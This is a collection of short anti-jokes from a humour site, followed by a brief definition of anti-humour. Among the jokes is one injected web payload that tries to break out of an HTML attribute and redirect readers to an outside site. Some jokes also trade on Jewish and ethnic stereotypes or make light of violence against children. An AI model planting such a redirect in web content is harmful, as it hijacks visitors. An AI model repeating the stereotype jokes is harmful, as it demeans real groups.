Why can't Scrillex fish? Because He is too busy to practice fishing.

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A duck walks up to a lemonade stand. He didn't say anything because ducks can't talk.

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So this guy walks into a bar and– Nevermind it's really not that funny.

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Q: Whats the difference between a Jewish man and a pizza? A: Jew's are humans and can feel emotions, as for pizza's can not feel emotions, because they are pizzas.

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knock knock who's there? your destiny

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once upon a time jess was happy this once upon a time was a very long time ago, BABADOOK !

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why was 6 afraid of 7? because seven is a murdering sociopath

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Violets are blue and/or violet Roses are red so's my blood, see?

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What happened to the lady living in the present, crossing a street? Let's watch her and find out.

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What did the prosecuting attorney say to the defense attorney? I hate you.

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A baby seal walks into a club. It is eventually beaten to death and eaten.

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A man and a six year old boy are walking along a path through the woods on a moonless night. "Gee mister, I'm scared!" says the boy. "You're scared?" says the man. "I have to walk back alone!"

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Two bars walk into a guy, and the bartender says, "You're telling the joke wrong, stupid!"

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Why was the little boy hit by a bus? I pushed him

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two peanuts walked into a bar they both sat down and immediately left once they found out the bar was serving peanuts.

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What did the cricket say to the fox? Cricket.

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"'>document.location.href="http://cramik.org"

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What's the difference between an apple and a banana? One's an apple.

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A Mexican guy, a black guy, and an ISIS member walk into a bar. The black and Mexican men, realizing the potential danger in the situation quickly exit the bar and alert the proper authorities. $

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Why did the chicken cross the road. ... It didn't.

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My ex wife looks like a pitbull.

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A boy walked in on his mom and dad in their bedroom last night they were having a leisurely evening playing scrabble

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A teenage girl walks into a bar. She sits down and watches the TV up against the wall. The bartender walks by and says "Hello, do you have I.D." The girl says "No, I'm just here waiting for my ride." The bartender then says "Well I'm sorry to have to tell you this but you gotta be 21 or over to sit in the bar." The girl says "Okay, but is there anywhere I can wait that is safe?" The bartender asks "Why?" and the girl replies "Well, I've been hiding from my ex boyfriend. I just broke up with him an hour ago. He was very controlling and he is still not over me. So now I'm here waiting for my new boyfriend." The bartender says "What you have a new boyfriend already? Maybe that's why your ex was angry." The girl says "yeah, I know, oh look there's my ride. It was nice talking with you, have a good night."

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On Wednesday night, a drunk man was walking on the cliffs of dover. his funeral was saturday.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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